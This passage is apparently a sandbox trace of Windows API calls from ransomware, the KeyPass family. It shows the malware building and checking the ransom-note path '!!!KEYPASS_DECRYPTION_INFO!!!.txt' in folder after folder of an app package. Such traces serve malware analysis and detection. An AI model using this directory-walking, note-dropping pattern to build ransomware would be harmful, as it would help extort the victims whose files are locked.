Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.676] GetLastError () returned 0x5 [0289.676] GetLastError () returned 0x5 [0289.676] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.676] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.676] GetLastError () returned 0x3f0 [0289.676] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.676] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.677] GetLastError () returned 0x5 [0289.677] GetLastError () returned 0x5 [0289.677] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.677] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.678] GetLastError () returned 0x3f0 [0289.678] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.678] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.678] GetLastError () returned 0x5 [0289.678] GetLastError () returned 0x5 [0289.678] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.678] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.678] GetLastError () returned 0x3f0 [0289.678] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.678] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.679] GetLastError () returned 0x5 [0289.679] GetLastError () returned 0x5 [0289.679] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.679] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.679] GetLastError () returned 0x3f0 [0289.679] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.679] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.679] GetLastError () returned 0x5 [0289.679] GetLastError () returned 0x5 [0289.679] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.679] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.679] GetLastError () returned 0x3f0 [0289.679] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.679] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.682] GetLastError () returned 0x5 [0289.682] GetLastError () returned 0x5 [0289.683] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.683] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.683] GetLastError () returned 0x3f0 [0289.683] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.683] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.719] GetLastError () returned 0x5 [0289.719] GetLastError () returned 0x5 [0289.720] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.720] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.720] GetLastError () returned 0x3f0 [0289.720] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\Attribution\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\Attribution\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.720] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\Attribution\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.777] GetLastError () returned 0x5 [0289.777] GetLastError () returned 0x5 [0289.778] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.778] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.778] GetLastError () returned 0x3f0 [0289.778] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.778] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.779] GetLastError () returned 0x5 [0289.779] GetLastError () returned 0x5 [0289.779] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.779] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.779] GetLastError () returned 0x3f0 [0289.779] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.779] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.780] GetLastError () returned 0x5 [0289.780] GetLastError () returned 0x5 [0289.780] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.780] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.780] GetLastError () returned 0x3f0 [0289.780] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.780] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.781] GetLastError () returned 0x5 [0289.781] GetLastError () returned 0x5 [0289.781] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.781] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.781] GetLastError () returned 0x3f0 [0289.781] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.781] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.781] GetLastError () returned 0x5 [0289.781] GetLastError () returned 0x5 [0289.781] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.781] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.781] GetLastError () returned 0x3f0 [0289.781] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.781] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.782] GetLastError () returned 0x5 [0289.782] GetLastError () returned 0x5 [0289.782] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.782] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.782] GetLastError () returned 0x3f0 [0289.782] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.782] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.782] GetLastError () returned 0x5 [0289.782] GetLastError () returned 0x5 [0289.782] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.782] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.782] GetLastError () returned 0x3f0 [0289.783] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.783] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.788] GetLastError () returned 0x5 [0289.788] GetLastError () returned 0x5 [0289.788] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.788] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.788] GetLastError () returned 0x3f0 [0289.789] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.789] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.789] GetLastError () returned 0x5 [0289.789] GetLastError () returned 0x5 [0289.789] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.789] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.789] GetLastError () returned 0x3f0 [0289.789] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.789] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.790] GetLastError () returned 0x5 [0289.790] GetLastError () returned 0x5 [0289.790] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.790] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.790] GetLastError () returned 0x3f0 [0289.790] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.790] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.790] GetLastError () returned 0x5 [0289.790] GetLastError () returned 0x5 [0289.790] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.790] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.790] GetLastError () returned 0x3f0 [0289.790] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.790] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.791] GetLastError () returned 0x5 [0289.791] GetLastError () returned 0x5 [0289.791] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.791] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.791] GetLastError () returned 0x3f0 [0289.791] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.791] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.792] GetLastError () returned 0x5 [0289.792] GetLastError () returned 0x5 [0289.792] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.792] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.792] GetLastError () returned 0x3f0 [0289.792] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.792] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.792] GetLastError () returned 0x5 [0289.792] GetLastError () returned 0x5 [0289.792] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.793] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.793] GetLastError () returned 0x3f0 [0289.793] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.793] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.793] GetLastError () returned 0x5 [0289.793] GetLastError () returned 0x5 [0289.793] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.793] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.793] GetLastError () returned 0x3f0 [0289.793] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.793] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.794] GetLastError () returned 0x5 [0289.794] GetLastError () returned 0x5 [0289.794] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.794] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.794] GetLastError () returned 0x3f0 [0289.794] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.794] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.794] GetLastError () returned 0x5 [0289.794] GetLastError () returned 0x5 [0289.795] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.795] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.795] GetLastError () returned 0x3f0 [0289.795] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\", 